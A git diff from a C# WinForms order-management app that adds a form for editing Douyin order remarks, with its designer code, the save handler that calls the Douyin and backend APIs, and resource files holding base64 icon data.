AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA////AAAAAAAAAAAAAP//////+AAAAAAAAAAAAAAf/////8AAAAAAAAAA + AAAAA/////8AAAAAAAAAAAAAAAD////8AAAAAAAAAAAAAAAAP///+AAAAAAAAAAAAAAAAB////AAAAAA + AAAAAAAAAAAP///AAAAAAAAAAAAAAAAAA///gAAAAAAAAAAAAAAAAAH//wAAAAAAAAAAAAAAAAAA//4A + AAAAAAAAAAAAAAAAAH/+AAAAAAAAAAAAAAAAAAB//AAAAAAAAAAAAAAAAAAAP/gAAAAAAAAAAAAAAAAA + AB/wAAAAAAAAAAAAAAAAAAAP8AAAAAAAAAAAAAAAAAAAD+AAAAAAAAAAAAAAAAAAAAfgAAAAAAAAAAAA + AAAAAAAHwAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAAAAOAAAAAAAAAAAAAAAAAAAABgAAAAAAA + AAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AACAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABwAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAAAAPgAAAAAAAAAAAAAAAAAAAH4AAAAAAA + AAAAAAAAAAAAB/AAAAAAAAAAAAAAAAAAAA/wAAAAAAAAAAAAAAAAAAAP+AAAAAAAAAAAAAAAAAAAH/wA + AAAAAAAAAAAAAAAAAD/+AAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAf/8AAAAAAAAAAAAAAAAA + AP//gAAAAAAAAAAAAAAAAAH//8AAAAAAAAAAAAAAAAAD///wAAAAAAAAAAAAAAAAD///+AAAAAAAAAAA + AAAAAB////wAAAAAAAAAAAAAAAA/////AAAAAAAAAAAAAAAA/////8AAAAAAAAAAAAAAA//////4AAAA + AAAAAAAAAB///////wAAAAAAAAAAAAD///8= + + + \ No newline at end of file diff --git a/29WxOrder/OrderForms/RemarkEditForm.Designer.cs b/29WxOrder/OrderForms/RemarkEditForm.Designer.cs new file mode 100644 index 0000000..ccadb3b --- /dev/null +++ b/29WxOrder/OrderForms/RemarkEditForm.Designer.cs @@ -0,0 +1,132 @@ +namespace _29WxOrder.OrderForms +{ + partial class RemarkEditForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(RemarkEditForm)); + this.panel1 = new System.Windows.Forms.Panel(); + this.btsave = new DevComponents.DotNetBar.PanelEx(); + this.tbremark = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.label13 = new System.Windows.Forms.Label(); + ((System.ComponentModel.ISupportInitialize)(this.pbCloseBase)).BeginInit(); + this.panel1.SuspendLayout(); + this.SuspendLayout(); + // + // pbCloseBase + // + this.pbCloseBase.Location = new System.Drawing.Point(396, 0); + // + // panel1 + // + this.panel1.BackColor = System.Drawing.Color.White; + this.panel1.Controls.Add(this.btsave); + this.panel1.Controls.Add(this.tbremark); + this.panel1.Controls.Add(this.label13); + this.panel1.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel1.Location = new System.Drawing.Point(2, 32); + this.panel1.Name = "panel1"; + this.panel1.Size = new System.Drawing.Size(428, 58); + this.panel1.TabIndex = 3; + // + // btsave + // + this.btsave.CanvasColor = System.Drawing.SystemColors.Control; + this.btsave.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btsave.Cursor = System.Windows.Forms.Cursors.Hand; + this.btsave.DisabledBackColor = System.Drawing.Color.Empty; + this.btsave.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btsave.Location = new System.Drawing.Point(359, 6); + this.btsave.Name = "btsave"; + this.btsave.Size = new System.Drawing.Size(60, 47); + this.btsave.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btsave.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(251)))), ((int)(((byte)(251)))), ((int)(((byte)(251))))); + this.btsave.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(191)))), ((int)(((byte)(191)))), ((int)(((byte)(191))))); + this.btsave.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.btsave.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(171)))), ((int)(((byte)(171)))), ((int)(((byte)(171))))); + this.btsave.Style.CornerDiameter = 1; + this.btsave.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.btsave.Style.ForeColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); + this.btsave.Style.GradientAngle = 90; + this.btsave.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.btsave.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(241)))), ((int)(((byte)(241)))), ((int)(((byte)(241))))); + this.btsave.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(171)))), ((int)(((byte)(171)))), ((int)(((byte)(171))))); + this.btsave.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btsave.StyleMouseOver.BackColor2.Color = System.Drawing.Color.LightGray; + this.btsave.TabIndex = 538; + this.btsave.Text = "保存"; + this.btsave.Click += new System.EventHandler(this.btsave_Click); + // + // tbremark + // + // + // + // + this.tbremark.Border.Class = "TextBoxBorder"; + this.tbremark.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.tbremark.Location = new System.Drawing.Point(70, 6); + this.tbremark.Multiline = true; + this.tbremark.Name = "tbremark"; + this.tbremark.Size = new System.Drawing.Size(283, 47); + this.tbremark.TabIndex = 515; + // + // label13 + // + this.label13.AutoSize = true; + this.label13.Location = new System.Drawing.Point(7, 8); + this.label13.Name = "label13"; + this.label13.Size = new System.Drawing.Size(65, 12); + this.label13.TabIndex = 516; + this.label13.Text = "订单备注:"; + // + // RemarkEditForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(432, 92); + this.Controls.Add(this.panel1); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "RemarkEditForm"; + this.Padding = new System.Windows.Forms.Padding(2, 0, 2, 2); + this.Text = "修改备注"; + this.TitleText = "修改备注"; + this.Controls.SetChildIndex(this.panel1, 0); + ((System.ComponentModel.ISupportInitialize)(this.pbCloseBase)).EndInit(); + this.panel1.ResumeLayout(false); + this.panel1.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Panel panel1; + private DevComponents.DotNetBar.Controls.TextBoxX tbremark; + private System.Windows.Forms.Label label13; + private DevComponents.DotNetBar.PanelEx btsave; + } +} \ No newline at end of file diff --git a/29WxOrder/OrderForms/RemarkEditForm.cs b/29WxOrder/OrderForms/RemarkEditForm.cs new file mode 100644 index 0000000..efcd048 --- /dev/null +++ b/29WxOrder/OrderForms/RemarkEditForm.cs @@ -0,0 +1,72 @@ +using AllBase; +using AllBase.DouYinModel.Result; +using AllBase.Model.Result; +using Newtonsoft.Json; +using Newtonsoft.Json.Linq; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work; +using Work.Api; +using Work.BaseForms; + +namespace _29WxOrder.OrderForms +{ + public partial class RemarkEditForm : BaseForm + { + string orderId = null; + public string NewRemark = null; + public RemarkEditForm(string _orderId, string remark) + { + InitializeComponent(); + + this.orderId = _orderId; + this.tbremark.Text = NewRemark = remark; + } + + private void btsave_Click(object sender, EventArgs e) + { + var sb = new StringBuilder(); + sb.Append("&order_id=" + orderId); + string upjmurl = BaseClass.DouYinBuildObjString("order&act=get_detail"); + string html = GetHtml.PostUtf8(upjmurl, UserLogin.GetSignaturex() + sb.ToString()); + string data = JObject.Parse(html)["data"].ToString(); + DouYinOrderModel douYinOrderModel = JsonConvert.DeserializeObject(data.Replace("\r\n", "")); + if (douYinOrderModel == null) + { + BaseMsgForm.ShowError("订单不存在!"); + return; + } + + DouShopLoginInfo shop = Work.CollectionClass.DouShopLoginList.Find(x => x.ShopId == douYinOrderModel.shop_id.ToString()); + if (shop != null) + { + douYinOrderModel.remark = tbremark.Text.ToString(); + Dictionary dic = new Dictionary() { }; + dic.Add("remark", tbremark.Text.ToString()); + dic.Add("order_id", douYinOrderModel.order_id); + DouyinApi apix = new DouyinApi(shop); + apix.JsonData = dic; + string updateDyResult = apix.AddOrderRemark(); + + NewRemark = tbremark.Text; + sb = new StringBuilder(); + sb.Append("&order_id=" + douYinOrderModel.order_id); + sb.Append("&remark=" + tbremark.Text); + var url = BaseClass.DouYinBuildObjString("order&act=update"); + string updateServerResult = GetHtml.PostUtf8(url, UserLogin.GetSignaturex() + sb.ToString()); + + if ((updateDyResult.Contains("\"message\":\"success\"") || updateDyResult.Contains("\"code\":10000")) && updateServerResult.Contains("\"code\":200") ) + { + BaseMsgForm.ShowInfo("备注修改成功!"); + } + } + } + } +} diff --git a/29WxOrder/OrderForms/RemarkEditForm.resx b/29WxOrder/OrderForms/RemarkEditForm.resx new file mode 100644 index 0000000..3d40c63 --- /dev/null +++ b/29WxOrder/OrderForms/RemarkEditForm.resx @@ -0,0 +1,298 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAEAgIAQVgAAAABoKAAAFgAAACgAAACAAAAAAAEAAAEABAAAAAAAACgAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP// + AAD///8AAAAAAAAAAAAAAAAABEZmbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZkQAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAZszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMxmAAAAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMxkAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzGQAAAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAABszMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAbMzMzMzMzMzMzMzMzM + zMzMzMzMzMx3d4iIiIiIiIh3fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAABszMzMzMzMzMzM + zMzMzMzMzMzHeIiIiIj/////////iIiIiId8zMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAGzMzMzMzM + zMzMzMzMzMzMzMeIiI/////////////////////4iIh8zMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAATMzM + zMzMzMzMzMzMzMzMzHiI////////////////////////////iIfMzMzMzMzMzMzMzMzMzMzMxAAAAAAA + AGzMzMzMzMzMzMzMzMzMx3iP///////////////////////////////4iHzMzMzMzMzMzMzMzMzMzMYA + AAAAAAbMzMzMzMzMzMzMzMzMx3iP//////////////////////////////////+IfMzMzMzMzMzMzMzM + zMzMYAAAAABMzMzMzMzMzMzMzMzMx3iP/////////////////////////////////////4h8zMzMzMzM + zMzMzMzMzMQAAAAAbMzMzMzMzMzMzMzMzHiP////////////////////////////////////////h3zM + zMzMzMzMzMzMzMzGAAAABMzMzMzMzMzMzMzMzHiP//////////////////////////////////////// + //iHzMzMzMzMzMzMzMzMzEAAAAbMzMzMzMzMzMzMzMeI//////////////////////////////////// + ////////+IfMzMzMzMzMzMzMzMxgAABMzMzMzMzMzMzMzMx4//////////////////////////////// + //////////////+IfMzMzMzMzMzMzMzMxAAAbMzMzMzMzMzMzMzHj/////////////////////////// + /////////////////////4fMzMzMzMzMzMzMzMYAAMzMzMzMzMzMzMzMeP////////////////////// + ///////////////////////////4fMzMzMzMzMzMzMzMAAbMzMzMzMzMzMzMx4////////////////// + /////////////////////////////////4fMzMzMzMzMzMzMzGAGzMzMzMzMzMzMzHj///////////// + ///////////////////////////////////////4fMzMzMzMzMzMzMxgDMzMzMzMzMzMzMyI//////// + /////////////////////////////////////////////4zMzMzMzMzMzMzMwEzMzMzMzMzMzMzHj/// + //////////////////////////////////////////////////+HzMzMzMzMzMzMzMRszMzMzMzMzMzM + eP//////////////////////////////////////////////////////+HzMzMzMzMzMzMzGbMzMzMzM + zMzMzHj///////////////////////////////////////////////////////+MzMzMzMzMzMzMxmzM + zMzMzMzMzMyP////+IiP////////////////////////////////////////+I//////h8zMzMzMzMzM + zMZszMzMzMzMzMzHj////4iIiI//////////////////////////////////////+IiIj/////jMzMzM + zMzMzMzGbMzMzMzMzMzMyP////iIiIiI/////////////////////////////////////4iIiIj////4 + fMzMzMzMzMzMxszMzMzMzMzMzHj////4iIiIiP////////////////////////////////////+IiIiI + j////4zMzMzMzMzMzMbMzMzMzMzMzMx4////iIiIiIj////////////////////////////////////4 + iIiIiI////+HzMzMzMzMzMzMzMzMzMzMzMzMj////4iIiIiI//////////////+IiP//iI////////// + ////+IiIiIiP////h8zMzMzMzMzMzMzMzMzMzMzMzI/////4iIiIiP/////////////4d3eIiIeIj/// + //////////+IiIiIj/////jMzMzMzMzMzMzMzMzMzMzMzMyP////+IiIiIj/////////////iIiId3eI + iI//////////////iIiIiI/////4zMzMzMzMzMzMzMzMzMzMzMzHj/////+IiIiP/////////////4// + /4d4j/+P//////////////iIiIj/////+MzMzMzMzMzMzMzMzMzMzMzMx4//////+IiP//////////// + ///////4j///////////////////iIiP//////jMzMzMzMzMzMzMzMzMzMzMzMeP//////////+IiIj/ + ///////////////////////////////////////////4fMzMzMzMzMzMzMzMzMzMzMzH//////////+H + fMx8eP//////////////////////////iId3iP//////////+HzMzMzMzMzMzMzMzMzMzMzMyP////// + ///4fMzHh8eP////////////////////////+MzMzMd4//////////h8zMzMzMzMzMzMzMzMzMzMzMf/ + ////////+MzMePjMeP///////////////////////4zMzMeHx4/////////4fMzMzMzMzMzMzMzMzMzM + zMzH/////////4fMd3eHzMeP//////////////////////iMzMzIiHx4////////+HzMzMzMzMzMzMzM + zMzMzMzMx/////////+Hx4iIfMzMj//////////////////////4h3d8x4h8yP////////jMzMzMzMzM + zMzMzMzMzMzMzMeP////////+HiP+IfMzI//////////////////////+HiIiHd3zHj////////4zMzM + zMzMzMzMzMzMzMzMzMzHj/////////h4//+HzMeP//////////////////////h4//h8zMyP//////// + +MzMzMzMzMzMzMzMzMzMzMzMzI/////////4iP//h8x4///////////////////////4j//4fMzHj/// + //////jMzMzMzMzMzMzMzMzMzMzMzMyP///////4iIiP+IfHj///////////////////////+Ij/+HzM + eP/////////4zMzMzMzMzMzMzMzMzMzMzMzMj///////iIiIiIh3eP////////////////////////+I + j4h8x3iI////////h8zMzMzMzMzMzMzMzMzMzMzMzH//////+Hj///iIiI////////////////////// + /////4iId4iIiIj//////4zMzMzMzMzMzMzMzMzMzMzMzMx4//////iP////iP////////////////// + /////////////4iP//iI//////+MzMzMzMzMzMzMzMzMzMzMzMzMyP//////////+I////////////// + ///////////////////4eP//iP//////jMzMzMzMzMzMzMzMzMzMzMzMzMj///////////iP//////// + /////////////////////////4j/////////+HzMzMzMzMzMzMzMzMzMzMzMzMzHj/////////////// + //////////////////////////////+I//////////jMzMzMzMzMzMzMzMzMzMzMzMzMzI////////// + //////////////////////////////////////////////+HzMzMzMzMzMzMzMzMzMzMzMzMzMyP//// + ////////////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzM + eP///////////////////////////////////////////////////////4zMzMzMzMzMzMzMzMzMzMzM + zMzMzMj///////////////////////////////////////////////////////h8zMzMzMzMzMzMzMzM + zMzMzMzMzMzHj//////////////////////////////////////////////////////4zMzMzMzMzMzM + zMzMzMzMzMzMzMzMzI//////////////////////////////////////////////////////h8zMzMzM + zMzMzMzMzMzMzMzMzMzMzMx4////////////////////////////////////////////////////+HzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMyI////+I//////////////////////////////////////////// + //h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP////+Ij///////////////////////////////////// + //////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP////+IiIiIj//////////////////////////4 + ////iI/////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMiP/////4iIiP////////////////////// + ////+IiIiIj/////iHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP////////////////////////// + ///////////4iIj//////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP//////////////////// + //////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP////////////// + //////////////////////////////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHj///////// + ///////////////////////////////////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP//// + ////////////////////////////////////////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzI + j/////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMeP//////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMx4////////+I//////////////////////////////////////jMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMeP///////4iIj///////////////////////////iP///////4fMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMx4////////iIiIiP///////////////////////4iIiP///////4zMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiI////////////////////+IiIiIj///////+HzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIj////////////////////4iIiIiIj/////// + +MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiI////////////////////+IiIiIiI// + //////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIiP////////////////////iIiI + iIiI///////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiIj/////iIiIiIiIj///// + /4iIiIiIiP///////4zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIiI/////4zMzMzMzM + j/////+IiIiIiIiP//////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP//////+IiIiIiIj/////+MzM + zMzMzI//////+IiIiIiIj///////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzI////////iIiIiIiI//// + //jMzMzMzMyP//////iIiIiIiIj///////jMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP///////4iIiIiI + iP/////4zMzMzMzMj//////4iIiIiIiI///////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzI////////iI + iIiIiI//////+MzMzMzMzI//////+IiIiIiIiP///////4zMzMzMzMzMzMzMzMzMzMzMzMzMzMyP//// + ///4iIiIiIiP//////fMzMzMzMyP//////+IiIiIiIj///////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzH + j///////+IiIiIiI//////+HzMzMzMzMeP//////iIiIiIiIj///////jMzMzMzMzMzMzMzMzMzMzMzM + zMzMyP////////iIiIiIiP//////jMzMzMzMzHj///////iIiIiIiI///////4fMzMzMzMzMzMzMzMzM + zMzMzMzMzMj///////+IiIiIiI///////4zMzMzMzMzI///////4iIiIiIiI///////3zMzMzMzMzMzM + zMzMzMzMzMzMzMzI////////iIiIiIiP//////+MzMzMzMzMyP//////+IiIiIiIiP//////+MzMzMzM + zMzMzMzMzMzMzMzMzMzMeP///////4iIiIiIj///////jMzMzMzMzMj///////+IiIiIiIj///////jM + zMzMzMzMzMzMzMzMzMzMzMzMzI////////+IiIiIiP//////+HzMzMzMzMzHj///////iIiIiIiI//// + ///4zMzMzMzMzMzMzMzMzMzMzMzMzMyP////////iIiIiI////////jMzMzMzMzMzI///////4iIiIiI + iI//////+MzMzMzMzMzMzMzMzMzMzMzMzMzMj////////4iIiIiP///////4zMzMzMzMzMyP///////4 + iIiIiIiP//////jMzMzMzMzMzMzMzMzMzMzMzMzMzI////////+IiIiI////////h8zMzMzMzMzMeP// + /////4iIiIiIj//////4fMzMzMzMzMzMzMzMzMzMzMzMzMyP////////iIiIj////////4fMzMzMzMzM + zHj///////+IiIiIiI//////+HzMzMzMzMzMzMzMzMzMzMzMzMzHj/////////iIiP////////+MzMzM + zMzMzMzI////////+IiIiIiP//////h8zMzMzMzMzMzMxmzMzMzMzMzMx4/////////4iP/////////4 + fMzMzMzMzMzMx4////////+IiIiIj//////4fMzMzMzMzMzMzMZszMzMzMzMzMeP//////////////// + ////+MzMzMzMzMzMzMyP////////iIiIiP//////+HzMzMzMzMzMzMzGbMzMzMzMzMzH//////////// + //////////fMzMzMzMzMzMzMeP////////iIiIj///////98zMzMzMzMzMzMxmzMzMzMzMzMyP////// + //////////////+HzMzMzMzMzMzMzHj/////////+IiP////////jMzMzMzMzMzMzMZszMzMzMzMzMj/ + ////////////////////jMzMzMzMzMzMzMzIj////////////////////4zMzMzMzMzMzMzGTMzMzMzM + zMzH////////////////////+HzMzMzMzMzMzMzMx4////////////////////+MzMzMzMzMzMzMxAzM + zMzMzMzMx/////////////////////jMzMzMzMzMzMzMzMyI///////////////////4fMzMzMzMzMzM + zMAGzMzMzMzMzMeP//////////////////+HzMzMzMzMzMzMzMzMeP//////////////////+HzMzMzM + zMzMzMxgBszMzMzMzMzHj//////////////////4fMzMzMzMzMzMzMzMzMeP//////////////////h8 + zMzMzMzMzMzMYADMzMzMzMzMzI//////////////////+HzMzMzMzMzMzMzMzMzHj/////////////// + ///4zMzMzMzMzMzMzAAAbMzMzMzMzMyP/////////////////4fMzMzMzMzMzMzMzMzMzHj///////// + ////////+MzMzMzMzMzMzMYAAEzMzMzMzMzMj/////////////////+MzMzMzMzMzMzMzMzMzMzIj/// + /////////////4fMzMzMzMzMzMzEAAAGzMzMzMzMzHj////////////////4fMzMzMzMzMzMzMzMzMzM + x4////////////////+MzMzMzMzMzMzMYAAABMzMzMzMzMx4////////////////h8zMzMzMzMzMzMzM + zMzMzMx4///////////////4fMzMzMzMzMzMzEAAAABszMzMzMzMx4//////////////+HzMzMzMzMzM + zMzMzMzMzMzMx4//////////////+MzMzMzMzMzMzMYAAAAATMzMzMzMzMyP/////////////4fMzMzM + zMzMzMzMzMzMzMzMzMeI/////////////4fMzMzMzMzMzMzEAAAAAAbMzMzMzMzMeP////////////h8 + zMzMzMzMzMzMzMzMzMzMzMzMeI////////////h8zMzMzMzMzMzMYAAAAAAAbMzMzMzMzMeP//////// + //iHzMzMzMzMzMzMzMzMzMzMzMzMzMyI//////////+HzMzMzMzMzMzMxgAAAAAAAEzMzMzMzMzMeP// + //////iHfMzMzMzMzMzMzMzMzMzMzMzMzMzMx4/////////4fMzMzMzMzMzMzMQAAAAAAAAGzMzMzMzM + zMeI//////iHfMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4j//////4h8zMzMzMzMzMzMxgAAAAAAAAAGzM + zMzMzMzMx4iIiIiHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiIj/+Ih3zMzMzMzMzMzMzGAAAAAAAA + AAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx3iId8zMzMzMzMzMzMzMYAAA + AAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + xgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzGAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzGQAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAABGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + 